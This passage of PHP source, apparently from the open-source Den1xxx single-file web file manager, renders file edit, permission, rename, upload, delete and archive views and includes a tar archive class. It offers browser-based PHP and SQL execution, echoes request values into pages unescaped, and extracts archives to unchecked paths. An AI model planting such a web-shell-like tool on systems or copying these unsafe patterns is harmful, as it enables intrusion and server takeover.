		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
